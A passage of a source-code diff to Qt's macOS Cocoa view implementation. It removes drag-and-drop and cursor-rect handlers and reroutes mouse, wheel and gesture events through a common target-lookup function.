qwidget.cpp static QColor colorFrom(NSColor *color) { @@ -222,243 +166,9 @@ static int qCocoaViewCount = 0; object:self]; } -- (void)resetCursorRects -{ - // [NSView addCursorRect] is slow, so bail out early if we can: - if (NSIsEmptyRect([self visibleRect])) - return; - - QWidget *cursorWidget = qwidget; - - if (cursorWidget->testAttribute(Qt::WA_TransparentForMouseEvents)) - cursorWidget = QApplication::widgetAt(qwidget->mapToGlobal(qwidget->rect().center())); - - if (cursorWidget == 0) - return; - - if (!cursorWidget->testAttribute(Qt::WA_SetCursor)) { - [super resetCursorRects]; - return; - } - - QRegion mask = qt_widget_private(cursorWidget)->extra->mask; - NSCursor *nscursor = static_cast(qt_mac_nsCursorForQCursor(cursorWidget->cursor())); - // The mask could have the WA_MouseNoMask attribute set and that means that we have to ignore the mask. - if (mask.isEmpty() || cursorWidget->testAttribute(Qt::WA_MouseNoMask)) { - [self addCursorRect:[qt_mac_nativeview_for(cursorWidget) visibleRect] cursor:nscursor]; - } else { - const QVector &rects = mask.rects(); - for (int i = 0; i < rects.size(); ++i) { - const QRect &rect = rects.at(i); - [self addCursorRect:NSMakeRect(rect.x(), rect.y(), rect.width(), rect.height()) cursor:nscursor]; - } - } -} - -- (void)removeDropData -{ - if (dropData) { - delete dropData; - dropData = 0; - } -} - -- (void)addDropData:(id )sender -{ - [self removeDropData]; - CFStringRef dropPasteboard = (CFStringRef) [[sender draggingPasteboard] name]; - dropData = new QCocoaDropData(dropPasteboard); -} - -- (void)changeDraggingCursor:(NSDragOperation)newOperation -{ - static SEL action = nil; - static bool operationSupported = false; - if (action == nil) { - action = NSSelectorFromString(@"operationNotAllowedCursor"); - if ([NSCursor respondsToSelector:action]) { - operationSupported = true; - } - } - if (operationSupported) { - NSCursor *notAllowedCursor = [NSCursor performSelector:action]; - bool isNotAllowedCursor = ([NSCursor currentCursor] == notAllowedCursor); - if (newOperation == NSDragOperationNone && !isNotAllowedCursor) { - [notAllowedCursor push]; - } else if (newOperation != NSDragOperationNone && isNotAllowedCursor) { - [notAllowedCursor pop]; - } - - } -} - -- (NSDragOperation)draggingEntered:(id )sender -{ - // NB: This function is called from QCoocaWindow/QCocoaPanel rather than directly - // from Cocoa. They modify the drag target, and might fake enter/leave events. - NSPoint windowPoint = [sender draggingLocation]; - dragEnterSequence = [sender draggingSequenceNumber]; - [self addDropData:sender]; - QMimeData *mimeData = dropData; - if (QDragManager::self()->source()) - mimeData = QDragManager::self()->dragPrivate()->data; - NSPoint globalPoint = [[sender draggingDestinationWindow] convertBaseToScreen:windowPoint]; - NSPoint localPoint = [self convertPoint:windowPoint fromView:nil]; - QPoint posDrag(localPoint.x, localPoint.y); - NSDragOperation nsActions = [sender draggingSourceOperationMask]; - Qt::DropActions qtAllowed = qt_mac_mapNSDragOperations(nsActions); - QT_PREPEND_NAMESPACE(qt_mac_dnd_answer_rec.lastOperation) = nsActions; - Qt::KeyboardModifiers modifiers = Qt::NoModifier; - if ([sender draggingSource] != nil) { - // modifier flags might have changed, update it here since we don't send any input events. - QApplicationPrivate::modifier_buttons = qt_cocoaModifiers2QtModifiers([[NSApp currentEvent] modifierFlags]); - modifiers = QApplication::keyboardModifiers(); - } else { - // when the source is from another application the above technique will not work. - modifiers = qt_cocoaDragOperation2QtModifiers(nsActions); - } - // send the drag enter event to the widget. - QDragEnterEvent qDEEvent(posDrag, qtAllowed, mimeData, QApplication::mouseButtons(), modifiers); - QApplication::sendEvent(qwidget, &qDEEvent); - if (!qDEEvent.isAccepted()) { - // widget is not interested in this drag, so ignore this drop data. - [self removeDropData]; - [self changeDraggingCursor:NSDragOperationNone]; - return NSDragOperationNone; - } else { - // save the mouse position, used by draggingExited handler. - DnDParams *dndParams = [QT_MANGLE_NAMESPACE(QCocoaView) currentMouseEvent]; - dndParams->activeDragEnterPos = windowPoint; - // send a drag move event immediately after a drag enter event (as per documentation). - QDragMoveEvent qDMEvent(posDrag, qtAllowed, mimeData, QApplication::mouseButtons(), modifiers); - qDMEvent.setDropAction(qDEEvent.dropAction()); - qDMEvent.accept(); // accept by default, since enter event was accepted. - QApplication::sendEvent(qwidget, &qDMEvent); - if (!qDMEvent.isAccepted() || qDMEvent.dropAction() == Qt::IgnoreAction) { - // since we accepted the drag enter event, the widget expects - // future drage move events. - // ### check if we need to treat this like the drag enter event. - nsActions = NSDragOperationNone; - // Save as ignored in the answer rect. - qDMEvent.setDropAction(Qt::IgnoreAction); - } else { - nsActions = QT_PREPEND_NAMESPACE(qt_mac_mapDropAction)(qDMEvent.dropAction()); - } - QT_PREPEND_NAMESPACE(qt_mac_copy_answer_rect)(qDMEvent); - [self changeDraggingCursor:nsActions]; - return nsActions; - } - } -- (NSDragOperation)draggingUpdated:(id < NSDraggingInfo >)sender -{ - // NB: This function is called from QCoocaWindow/QCocoaPanel rather than directly - // from Cocoa. They modify the drag target, and might fake enter/leave events. - NSPoint windowPoint = [sender draggingLocation]; - // in cases like QFocusFrame, the view under the mouse might - // not have received the drag enter. Generate a synthetic - // drag enter event for that view. - if (dragEnterSequence != [sender draggingSequenceNumber]) - [self draggingEntered:sender]; - // drag enter event was rejected, so ignore the move event. - if (dropData == 0) { - [self changeDraggingCursor:NSDragOperationNone]; - return NSDragOperationNone; - } - // return last value, if we are still in the answerRect. - NSPoint globalPoint = [[sender draggingDestinationWindow] convertBaseToScreen:windowPoint]; - NSPoint localPoint = [self convertPoint:windowPoint fromView:nil]; - NSDragOperation nsActions = [sender draggingSourceOperationMask]; - QPoint posDrag(localPoint.x, localPoint.y); - if (qt_mac_mouse_inside_answer_rect(posDrag) - && QT_PREPEND_NAMESPACE(qt_mac_dnd_answer_rec.lastOperation) == nsActions) { - NSDragOperation operation = QT_PREPEND_NAMESPACE(qt_mac_mapDropActions)(QT_PREPEND_NAMESPACE(qt_mac_dnd_answer_rec.lastAction)); - [self changeDraggingCursor:operation]; - return operation; - } - // send drag move event to the widget - QT_PREPEND_NAMESPACE(qt_mac_dnd_answer_rec.lastOperation) = nsActions; - Qt::DropActions qtAllowed = QT_PREPEND_NAMESPACE(qt_mac_mapNSDragOperations)(nsActions); - Qt::KeyboardModifiers modifiers = Qt::NoModifier; - if ([sender draggingSource] != nil) { - // modifier flags might have changed, update it here since we don't send any input events. - QApplicationPrivate::modifier_buttons = qt_cocoaModifiers2QtModifiers([[NSApp currentEvent] modifierFlags]); - modifiers = QApplication::keyboardModifiers(); - } else { - // when the source is from another application the above technique will not work. - modifiers = qt_cocoaDragOperation2QtModifiers(nsActions); - } - QMimeData *mimeData = dropData; - if (QDragManager::self()->source()) - mimeData = QDragManager::self()->dragPrivate()->data; - QDragMoveEvent qDMEvent(posDrag, qtAllowed, mimeData, QApplication::mouseButtons(), modifiers); - if (QT_PREPEND_NAMESPACE(qt_mac_dnd_answer_rec).lastAction != Qt::IgnoreAction - && QT_PREPEND_NAMESPACE(qt_mac_dnd_answer_rec).buttons == qDMEvent.mouseButtons() - && QT_PREPEND_NAMESPACE(qt_mac_dnd_answer_rec).modifiers == qDMEvent.keyboardModifiers()) - qDMEvent.setDropAction(QT_PREPEND_NAMESPACE(qt_mac_dnd_answer_rec).lastAction); - qDMEvent.accept(); - QApplication::sendEvent(qwidget, &qDMEvent); - - NSDragOperation operation = qt_mac_mapDropAction(qDMEvent.dropAction()); - if (!qDMEvent.isAccepted() || qDMEvent.dropAction() == Qt::IgnoreAction) { - // ignore this event (we will still receive further notifications) - operation = NSDragOperationNone; - // Save as ignored in the answer rect. - qDMEvent.setDropAction(Qt::IgnoreAction); - } - qt_mac_copy_answer_rect(qDMEvent); - [self changeDraggingCursor:operation]; - return operation; -} - -- (void)draggingExited:(id < NSDraggingInfo >)sender -{ - // NB: This function is called from QCoocaWindow/QCocoaPanel rather than directly - // from Cocoa. They modify the drag target, and might fake enter/leave events. - Q_UNUSED(sender); - dragEnterSequence = -1; - // drag enter event was rejected, so ignore the move event. - if (dropData) { - QDragLeaveEvent de; - QApplication::sendEvent(qwidget, &de); - [self removeDropData]; - } - [self changeDraggingCursor:NSDragOperationEvery]; - -} - -- (BOOL)performDragOperation:(id )sender -{ - // NB: This function is called from QCoocaWindow/QCocoaPanel rather than directly - // from Cocoa. They modify the drag target, and might fake enter/leave events. - NSPoint windowPoint = [sender draggingLocation]; - dragEnterSequence = -1; - [self addDropData:sender]; - - NSPoint globalPoint = [[sender draggingDestinationWindow] convertBaseToScreen:windowPoint]; - NSPoint localPoint = [self convertPoint:windowPoint fromView:nil]; - QPoint posDrop(localPoint.x, localPoint.y); - - NSDragOperation nsActions = [sender draggingSourceOperationMask]; - Qt::DropActions qtAllowed = qt_mac_mapNSDragOperations(nsActions); - QMimeData *mimeData = dropData; - if (QDragManager::self()->source()) - mimeData = QDragManager::self()->dragPrivate()->data; - // send the drop event to the widget. - QDropEvent de(posDrop, qtAllowed, mimeData, - QApplication::mouseButtons(), QApplication::keyboardModifiers()); - if (QDragManager::self()->object) - QDragManager::self()->dragPrivate()->target = qwidget; - QApplication::sendEvent(qwidget, &de); - if (QDragManager::self()->object) - QDragManager::self()->dragPrivate()->executed_action = de.dropAction(); - if (!de.isAccepted()) - return NO; - else - return YES; -} - - (void)dealloc { + QMacCocoaAutoReleasePool pool; delete composingText; [[NSNotificationCenter defaultCenter] removeObserver:self]; @@ -532,9 +242,8 @@ static int qCocoaViewCount = 0; { if (!qwidget) return; - - // We use a different graphics system. if (QApplicationPrivate::graphicsSystem() != 0 && !qwidgetprivate->isInUnifiedToolbar) { + // INVARIANT: We use a different graphics system. // Qt handles the painting occuring inside the window. // Cocoa also keeps track of all widgets as NSView and therefore might @@ -560,7 +269,7 @@ static int qCocoaViewCount = 0; qwidgetprivate->hd = cg; // We steal the CGContext for flushing in the unified toolbar with the raster engine. - if (QApplicationPrivate::graphicsSystem() != 0 && qwidgetprivate->isInUnifiedToolbar) { + if (QApplicationPrivate::graphicsSystem() != 0 && qwidgetprivate->isInUnifiedToolbar && qwidgetprivate->unifiedSurface) { qwidgetprivate->cgContext = cg; qwidgetprivate->hasOwnContext = true; qwidgetprivate->unifiedSurface->flush(qwidget, qwidgetprivate->ut_rg, qwidgetprivate->ut_pt); @@ -576,13 +285,13 @@ static int qCocoaViewCount = 0; const QRect qrect = QRect(aRect.origin.x, aRect.origin.y, aRect.size.width, aRect.size.height); QRegion qrgn; - const NSRect *rects; - NSInteger count; - [self getRectsBeingDrawn:&rects count:&count]; - for (int i = 0; i < count; ++i) { - QRect tmpRect = QRect(rects[i].origin.x, rects[i].origin.y, rects[i].size.width, rects[i].size.height); - qrgn += tmpRect; - } + const NSRect *rects; + NSInteger count; + [self getRectsBeingDrawn:&rects count:&count]; + for (int i = 0; i < count; ++i) { + QRect tmpRect = QRect(rects[i].origin.x, rects[i].origin.y, rects[i].size.width, rects[i].size.height); + qrgn += tmpRect; + } if (!qwidget->isWindow() && !qobject_cast(qwidget->parent())) { const QRegion &parentMask = qwidget->window()->mask(); @@ -612,38 +321,27 @@ static int qCocoaViewCount = 0; } if (qwidget->isWindow() && !qwidgetprivate->isOpaque - && !qwidget->testAttribute(Qt::WA_MacBrushedMetal)) { + && !qwidget->testAttribute(Qt::WA_MacBrushedMetal)) { CGContextClearRect(cg, NSRectToCGRect(aRect)); } - // Check for alien widgets, use qwidgetPrivate->drawWidget() to draw the widget if this - // is the case. This makes sure child widgets are drawn as well, Cocoa does not know about - // those and wont send them drawRect calls. - if (qwidget->testAttribute(Qt::WA_NativeWindow) && qt_widget_private(qwidget)->hasAlienChildren == false) { - if (engine && !qwidget->testAttribute(Qt::WA_NoSystemBackground) - && (qwidget->isWindow() || qwidget->autoFillBackground()) - || qwidget->testAttribute(Qt::WA_TintedBackground) - || qwidget->testAttribute(Qt::WA_StyledBackground)) { -#ifdef DEBUG_WIDGET_PAINT - if(doDebug) - qDebug(" Handling erase for [%s::%s]", qwidget->metaObject()->className(), - qwidget->objectName().local8Bit().data()); -#endif - QPainter p(qwidget); - qwidgetprivate->paintBackground(&p, qrgn, - qwidget->isWindow() ? QWidgetPrivate::DrawAsRoot : 0); - p.end(); - } - QPaintEvent e(qrgn); -#ifdef QT3_SUPPORT - e.setErased(true); -#endif - qt_sendSpontaneousEvent(qwidget, &e); - } else { - qwidget->setAttribute(Qt::WA_WState_InPaintEvent, false); // QWidgetPrivate::drawWidget sets this - QWidgetPrivate *qwidgetPrivate = qt_widget_private(qwidget); - qwidgetPrivate->drawWidget(qwidget, qrgn, QPoint(), QWidgetPrivate::DrawAsRoot | QWidgetPrivate::DrawPaintOnScreen | QWidgetPrivate::DrawRecursive, 0); - } + qwidget->setAttribute(Qt::WA_WState_InPaintEvent, false); + QWidgetPrivate *qwidgetPrivate = qt_widget_private(qwidget); + + // We specify that we want to draw the widget itself, and + // all its children recursive. But we skip native children, because + // they will receive drawRect calls by themselves as needed: + int flags = QWidgetPrivate::DrawPaintOnScreen + | QWidgetPrivate::DrawRecursive + | QWidgetPrivate::DontDrawNativeChildren; + + if (qwidget->isWindow()) + flags |= QWidgetPrivate::DrawAsRoot; + + // Start to draw: + qt_mac_clearDirtyOnWidgetInsideDrawWidget = true; + qwidgetPrivate->drawWidget(qwidget, qrgn, QPoint(), flags, 0); + qt_mac_clearDirtyOnWidgetInsideDrawWidget = false; if (!redirectionOffset.isNull()) QPainter::restoreRedirected(qwidget); @@ -652,7 +350,7 @@ static int qCocoaViewCount = 0; qwidget->setAttribute(Qt::WA_WState_InPaintEvent, false); if(!qwidget->testAttribute(Qt::WA_PaintOutsidePaintEvent) && qwidget->paintingActive()) qWarning("QWidget: It is dangerous to leave painters active on a" - " widget outside of the PaintEvent"); + " widget outside of the PaintEvent"); } qwidgetprivate->hd = 0; CGContextRestoreGState(cg); @@ -660,11 +358,13 @@ static int qCocoaViewCount = 0; - (BOOL)acceptsFirstMouse:(NSEvent *)theEvent { - if (!qwidget) + // Find the widget that should receive the event: + QPoint qlocal, qglobal; + QWidget *widgetToGetMouse = qt_mac_getTargetForMouseEvent(theEvent, QEvent::MouseButtonPress, qlocal, qglobal, qwidget, 0); + if (!widgetToGetMouse) return NO; - Q_UNUSED(theEvent); - return !qwidget->testAttribute(Qt::WA_MacNoClickThrough); + return !widgetToGetMouse->testAttribute(Qt::WA_MacNoClickThrough); } - (NSView *)hitTest:(NSPoint)aPoint @@ -715,161 +415,119 @@ static int qCocoaViewCount = 0; - (void)mouseEntered:(NSEvent *)event { - if (!qwidget) - return; - if (qwidgetprivate->data.in_destructor) - return; - - if (!qAppInstance()->activeModalWidget() || QApplicationPrivate::tryModalHelper(qwidget, 0)) { - QEvent enterEvent(QEvent::Enter); - NSPoint windowPoint = [event locationInWindow]; - NSPoint globalPoint = [[event window] convertBaseToScreen:windowPoint]; - NSPoint viewPoint = [self convertPoint:windowPoint fromView:nil]; - QApplication::sendEvent(qwidget, &enterEvent); - qt_mouseover = qwidget; - - // Update cursor icon: - qt_mac_update_cursor_at_global_pos(flipPoint(globalPoint).toPoint()); - - // Send mouse move and hover events as well: - if (!qAppInstance()->activePopupWidget() || qAppInstance()->activePopupWidget() == qwidget->window()) { - // This mouse move event should be sendt, even when mouse - // tracking is switched off (to trigger tooltips): - NSEvent *mouseEvent = [NSEvent mouseEventWithType:NSMouseMoved - location:windowPoint modifierFlags:[event modifierFlags] timestamp:[event timestamp] - windowNumber:[event windowNumber] context:[event context] eventNumber:[event eventNumber] - clickCount:0 pressure:0]; - qt_mac_handleMouseEvent(self, mouseEvent, QEvent::MouseMove, Qt::NoButton); - - if (qwidget->testAttribute(Qt::WA_Hover)) { - QHoverEvent he(QEvent::HoverEnter, QPoint(viewPoint.x, viewPoint.y), QPoint(-1, -1)); - QApplicationPrivate::instance()->notify_helper(qwidget, &he); - } - } - } + // Cocoa will not send a move event on mouseEnter. But since + // Qt expect this, we fake one now. See also mouseExited below + // for info about enter/leave event handling + NSEvent *nsmoveEvent = [NSEvent + mouseEventWithType:NSMouseMoved + location:[[self window] mouseLocationOutsideOfEventStream] + modifierFlags: [event modifierFlags] + timestamp: [event timestamp] + windowNumber: [event windowNumber] + context: [event context] + eventNumber: [event eventNumber] + clickCount: 0 + pressure: 0]; + + // Important: Cocoa sends us mouseEnter on all views under the mouse + // and not just the one on top. Therefore, to we cannot use qwidget + // as native widget for this case. Instead, we let qt_mac_handleMouseEvent + // resolve it (last argument set to 0): + qt_mac_handleMouseEvent(nsmoveEvent, QEvent::MouseMove, Qt::NoButton, 0); } - (void)mouseExited:(NSEvent *)event { - if (!qwidget) - return; - - QEvent leaveEvent(QEvent::Leave); - NSPoint globalPoint = [[event window] convertBaseToScreen:[event locationInWindow]]; - if (!qAppInstance()->activeModalWidget() || QApplicationPrivate::tryModalHelper(qwidget, 0)) { - QApplication::sendEvent(qwidget, &leaveEvent); - - // ### Think about if it is necessary to update the cursor, should only be for a few cases. - qt_mac_update_cursor_at_global_pos(flipPoint(globalPoint).toPoint()); - if (qwidget->testAttribute(Qt::WA_Hover) - && (!qAppInstance()->activePopupWidget() || qAppInstance()->activePopupWidget() == qwidget->window())) { - QHoverEvent he(QEvent::HoverLeave, QPoint(-1, -1), - qwidget->mapFromGlobal(QApplicationPrivate::instance()->hoverGlobalPos)); - QApplicationPrivate::instance()->notify_helper(qwidget, &he); + // Note: normal enter/leave handling is done from within mouseMove. This handler + // catches the case when the mouse moves out of the window (which mouseMove do not). + // Updating the mouse cursor follows the same logic as enter/leave. And we update + // neither if a grab exists (even if the grab points to this widget, it seems, ref X11) + Q_UNUSED(event); + if (self == [[self window] contentView] && !qt_button_down && !QWidget::mouseGrabber()) { + qt_mac_update_cursor(); + // If the mouse exits the content view, but qt_mac_getTargetForMouseEvent still + // reports a target, it means that either there is a grab involved, or the mouse + // hovered over another window in the application. In both cases, move events will + // cause qt_mac_handleMouseEvent to be called, which will handle enter/leave. + QPoint qlocal, qglobal; + QWidget *widgetUnderMouse = 0; + qt_mac_getTargetForMouseEvent(event, QEvent::Leave, qlocal, qglobal, qwidget, &widgetUnderMouse); + + if (widgetUnderMouse == 0) { + QApplicationPrivate::dispatchEnterLeave(0, qt_last_mouse_receiver); + qt_last_mouse_receiver = 0; } } } - (void)flagsChanged:(NSEvent *)theEvent { - if (!qwidget) + QWidget *widgetToGetKey = qt_mac_getTargetForKeyEvent(qwidget); + if (!widgetToGetKey) return; - QWidget *widgetToGetKey = qwidget; - - QWidget *popup = qAppInstance()->activePopupWidget(); - if (popup && popup != qwidget->window()) - widgetToGetKey = popup->focusWidget() ? popup->focusWidget() : popup; qt_dispatchModifiersChanged(theEvent, widgetToGetKey); [super flagsChanged:theEvent]; } - (void)mouseMoved:(NSEvent *)theEvent { - if (!qwidget) - return; - - // We always enable mouse tracking for all QCocoaView-s. In cases where we have - // child views, we will receive mouseMoved for both parent & the child (if - // mouse is over the child). We need to ignore the parent mouseMoved in such - // cases. - NSPoint windowPoint = [theEvent locationInWindow]; - NSView *candidateView = [[[self window] contentView] hitTest:windowPoint]; - if (candidateView && candidateView == self) { - qt_mac_handleMouseEvent(self, theEvent, QEvent::MouseMove, Qt::NoButton); - } + // Important: this method will only be called when the view's window is _not_ inside + // QCocoaWindow/QCocoaPanel. Otherwise, [QCocoaWindow sendEvent] will handle the event + // before it ends up here. So, this method is added for supporting QMacNativeWidget. + // TODO: Cocoa send move events to all views under the mouse. So make sure we only + // handle the event for the widget on top when using QMacNativeWidget. + qt_mac_handleMouseEvent(theEvent, QEvent::MouseMove, Qt::NoButton, qwidget); } - (void)mouseDown:(NSEvent *)theEvent { - if (!qt_button_down) - qt_button_down = qwidget; - - qt_mac_handleMouseEvent(self, theEvent, QEvent::MouseButtonPress, Qt::LeftButton); + qt_mac_handleMouseEvent(theEvent, QEvent::MouseButtonPress, Qt::LeftButton, qwidget); // Don't call super here. This prevents us from getting the mouseUp event, // which we need to send even if the mouseDown event was not accepted. // (this is standard Qt behavior.) } - - (void)mouseUp:(NSEvent *)theEvent { - qt_mac_handleMouseEvent(self, theEvent, QEvent::MouseButtonRelease, Qt::LeftButton); - - qt_button_down = 0; + qt_mac_handleMouseEvent(theEvent, QEvent::MouseButtonRelease, Qt::LeftButton, qwidget); } - (void)rightMouseDown:(NSEvent *)theEvent { - if (!qt_button_down) - qt_button_down = qwidget; - - qt_mac_handleMouseEvent(self, theEvent, QEvent::MouseButtonPress, Qt::RightButton); + qt_mac_handleMouseEvent(theEvent, QEvent::MouseButtonPress, Qt::RightButton, qwidget); } - (void)rightMouseUp:(NSEvent *)theEvent { - qt_mac_handleMouseEvent(self, theEvent, QEvent::MouseButtonRelease, Qt::RightButton); - - qt_button_down = 0; + qt_mac_handleMouseEvent(theEvent, QEvent::MouseButtonRelease, Qt::RightButton, qwidget); } - (void)otherMouseDown:(NSEvent *)theEvent { - if (!qt_button_down) - qt_button_down = qwidget; - Qt::MouseButton mouseButton = cocoaButton2QtButton([theEvent buttonNumber]); - qt_mac_handleMouseEvent(self, theEvent, QEvent::MouseButtonPress, mouseButton); + qt_mac_handleMouseEvent(theEvent, QEvent::MouseButtonPress, mouseButton, qwidget); } - (void)otherMouseUp:(NSEvent *)theEvent { Qt::MouseButton mouseButton = cocoaButton2QtButton([theEvent buttonNumber]); - qt_mac_handleMouseEvent(self, theEvent, QEvent::MouseButtonRelease, mouseButton); - - qt_button_down = 0; + qt_mac_handleMouseEvent(theEvent, QEvent::MouseButtonRelease, mouseButton, qwidget); } - (void)mouseDragged:(NSEvent *)theEvent { - qMacDnDParams()->view = self; - qMacDnDParams()->theEvent = theEvent; - qt_mac_handleMouseEvent(self, theEvent, QEvent::MouseMove, Qt::NoButton); + qt_mac_handleMouseEvent(theEvent, QEvent::MouseMove, Qt::NoButton, qwidget); } - (void)rightMouseDragged:(NSEvent *)theEvent { - qMacDnDParams()->view = self; - qMacDnDParams()->theEvent = theEvent; - qt_mac_handleMouseEvent(self, theEvent, QEvent::MouseMove, Qt::NoButton); + qt_mac_handleMouseEvent(theEvent, QEvent::MouseMove, Qt::NoButton, qwidget); } - (void)otherMouseDragged:(NSEvent *)theEvent { - qMacDnDParams()->view = self; - qMacDnDParams()->theEvent = theEvent; - qt_mac_handleMouseEvent(self, theEvent, QEvent::MouseMove, Qt::NoButton); + qt_mac_handleMouseEvent(theEvent, QEvent::MouseMove, Qt::NoButton, qwidget); } - (void)scrollWheel:(NSEvent *)theEvent @@ -880,21 +538,14 @@ static int qCocoaViewCount = 0; [currentIManager handleMouseEvent:theEvent]; } - NSPoint windowPoint = [theEvent locationInWindow]; - NSPoint globalPoint = [[theEvent window] convertBaseToScreen:windowPoint]; - NSPoint localPoint = [self convertPoint:windowPoint fromView:nil]; - QPoint qlocal = QPoint(localPoint.x, localPoint.y); - QPoint qglobal = QPoint(globalPoint.x, flipYCoordinate(globalPoint.y)); Qt::MouseButtons buttons = QApplication::mouseButtons(); - bool wheelOK = false; Qt::KeyboardModifiers keyMods = qt_cocoaModifiers2QtModifiers([theEvent modifierFlags]); - QWidget *widgetToGetMouse = qwidget; - // if popup is open it should get wheel events if the cursor is over the popup, - // otherwise the event should be ignored. - if (QWidget *popup = qAppInstance()->activePopupWidget()) { - if (!popup->geometry().contains(qglobal)) - return; - } + + // Find the widget that should receive the event: + QPoint qlocal, qglobal; + QWidget *widgetToGetMouse = qt_mac_getTargetForMouseEvent(theEvent, QEvent::Wheel, qlocal, qglobal, qwidget, 0); + if (!widgetToGetMouse) + return; int deltaX = 0; int deltaY = 0; @@ -926,27 +577,11 @@ static int qCocoaViewCount = 0; if (deltaX != 0) { QWheelEvent qwe(qlocal, qglobal, deltaX, buttons, keyMods, Qt::Horizontal); qt_sendSpontaneousEvent(widgetToGetMouse, &qwe); - wheelOK = qwe.isAccepted(); - if (!wheelOK && QApplicationPrivate::focus_widget - && QApplicationPrivate::focus_widget != widgetToGetMouse) { - QWheelEvent qwe2(QApplicationPrivate::focus_widget->mapFromGlobal(qglobal), qglobal, - deltaX, buttons, keyMods, Qt::Horizontal); - qt_sendSpontaneousEvent(QApplicationPrivate::focus_widget, &qwe2); - wheelOK = qwe2.isAccepted(); - } } if (deltaY) { QWheelEvent qwe(qlocal, qglobal, deltaY, buttons, keyMods, Qt::Vertical); qt_sendSpontaneousEvent(widgetToGetMouse, &qwe); - wheelOK = qwe.isAccepted(); - if (!wheelOK && QApplicationPrivate::focus_widget - && QApplicationPrivate::focus_widget != widgetToGetMouse) { - QWheelEvent qwe2(QApplicationPrivate::focus_widget->mapFromGlobal(qglobal), qglobal, - deltaY, buttons, keyMods, Qt::Vertical); - qt_sendSpontaneousEvent(QApplicationPrivate::focus_widget, &qwe2); - wheelOK = qwe2.isAccepted(); - } } if (deltaZ) { @@ -954,14 +589,6 @@ static int qCocoaViewCount = 0; // try to be ahead of the pack, I'm adding this extra value. QWheelEvent qwe(qlocal, qglobal, deltaZ, buttons, keyMods, (Qt::Orientation)3); qt_sendSpontaneousEvent(widgetToGetMouse, &qwe); - wheelOK = qwe.isAccepted(); - if (!wheelOK && QApplicationPrivate::focus_widget - && QApplicationPrivate::focus_widget != widgetToGetMouse) { - QWheelEvent qwe2(QApplicationPrivate::focus_widget->mapFromGlobal(qglobal), qglobal, - deltaZ, buttons, keyMods, (Qt::Orientation)3); - qt_sendSpontaneousEvent(QApplicationPrivate::focus_widget, &qwe2); - wheelOK = qwe2.isAccepted(); - } } #endif //QT_NO_WHEELEVENT } @@ -977,35 +604,14 @@ static int qCocoaViewCount = 0; [super tabletPoint:tabletEvent]; } -#if MAC_OS_X_VERSION_MAX_ALLOWED >= MAC_OS_X_VERSION_10_6 -- (void)touchesBeganWithEvent:(NSEvent *)event; -{ - bool all = qwidget->testAttribute(Qt::WA_TouchPadAcceptSingleTouchEvents); - qt_translateRawTouchEvent(qwidget, QTouchEvent::TouchPad, QCocoaTouch::getCurrentTouchPointList(event, all)); -} - -- (void)touchesMovedWithEvent:(NSEvent *)event; -{ - bool all = qwidget->testAttribute(Qt::WA_TouchPadAcceptSingleTouchEvents); - qt_translateRawTouchEvent(qwidget, QTouchEvent::TouchPad, QCocoaTouch::getCurrentTouchPointList(event, all)); -} - -- (void)touchesEndedWithEvent:(NSEvent *)event; -{ - bool all = qwidget->testAttribute(Qt::WA_TouchPadAcceptSingleTouchEvents); - qt_translateRawTouchEvent(qwidget, QTouchEvent::TouchPad, QCocoaTouch::getCurrentTouchPointList(event, all)); -} - -- (void)touchesCancelledWithEvent:(NSEvent *)event; -{ - bool all = qwidget->testAttribute(Qt::WA_TouchPadAcceptSingleTouchEvents); - qt_translateRawTouchEvent(qwidget, QTouchEvent::TouchPad, QCocoaTouch::getCurrentTouchPointList(event, all)); -} -#endif // MAC_OS_X_VERSION_MAX_ALLOWED >= MAC_OS_X_VERSION_10_6 - - (void)magnifyWithEvent:(NSEvent *)event; { - if (!QApplicationPrivate::tryModalHelper(qwidget, 0)) + QPoint qlocal, qglobal; + QWidget *widgetToGetGesture = 0; + qt_mac_getTargetForMouseEvent(event, QEvent::Gesture, qlocal, qglobal, qwidget, &widgetToGetGesture); + if (!widgetToGetGesture) + return; + if (!QApplicationPrivate::tryModalHelper(widgetToGetGesture, 0)) return; #ifndef QT_NO_GESTURES @@ -1014,13 +620,18 @@ static int qCocoaViewCount = 0; NSPoint p = [[event window] convertBaseToScreen:[event locationInWindow]]; qNGEvent.position = flipPoint(p).toPoint(); qNGEvent.percentage = [event magnification]; - qt_sendSpontaneousEvent(qwidget, &qNGEvent); + qt_sendSpontaneousEvent(widgetToGetGesture, &qNGEvent); #endif // QT_NO_GESTURES } - (void)rotateWithEvent:(NSEvent *)event; { - if (!QApplicationPrivate::tryModalHelper(qwidget, 0)) + QPoint qlocal, qglobal; + QWidget *widgetToGetGesture = 0; + qt_mac_getTargetForMouseEvent(event, QEvent::Gesture, qlocal, qglobal, qwidget, &widgetToGetGesture); + if (!widgetToGetGesture) + return; + if (!QApplicationPrivate::tryModalHelper(widgetToGetGesture, 0)) return; #ifndef QT_NO_GESTURES @@ -1029,13 +640,18 @@ static int qCocoaViewCount = 0; NSPoint p = [[event window] convertBaseToScreen:[event locationInWindow]]; qNGEvent.position = flipPoint(p).toPoint(); qNGEvent.percentage = -[event rotation]; - qt_sendSpontaneousEvent(qwidget, &qNGEvent); + qt_sendSpontaneousEvent(widgetToGetGesture, &qNGEvent); #endif // QT_NO_GESTURES } - (void)swipeWithEvent:(NSEvent *)event; { - if (!QApplicationPrivate::tryModalHelper(qwidget, 0)) + QPoint qlocal, qglobal; + QWidget *widgetToGetGesture = 0; + qt_mac_getTargetForMouseEvent(event, QEvent::Gesture, qlocal, qglobal, qwidget, &widgetToGetGesture); + if (!widgetToGetGesture) + return; + if (!QApplicationPrivate::tryModalHelper(widgetToGetGesture, 0)) return; #ifndef QT_NO_GESTURES @@ -1051,13 +667,18 @@ static int qCocoaViewCount = 0; qNGEvent.angle = 90.0f; else if ([event deltaY] == -1) qNGEvent.angle = 270.0f; - qt_sendSpontaneousEvent(qwidget, &qNGEvent); + qt_sendSpontaneousEvent(widgetToGetGesture, &qNGEvent); #endif // QT_NO_GESTURES } - (void)beginGestureWithEvent:(NSEvent *)event; { - if (!QApplicationPrivate::tryModalHelper(qwidget, 0)) + QPoint qlocal, qglobal; + QWidget *widgetToGetGesture = 0; + qt_mac_getTargetForMouseEvent(event, QEvent::Gesture, qlocal, qglobal, qwidget, &widgetToGetGesture); + if (!widgetToGetGesture) + return; + if (!QApplicationPrivate::tryModalHelper(widgetToGetGesture, 0)) return; #ifndef QT_NO_GESTURES @@ -1065,13 +686,18 @@ static int qCocoaViewCount = 0; qNGEvent.gestureType = QNativeGestureEvent::GestureBegin; NSPoint p = [[event window] convertBaseToScreen:[event locationInWindow]]; qNGEvent.position = flipPoint(p).toPoint(); - 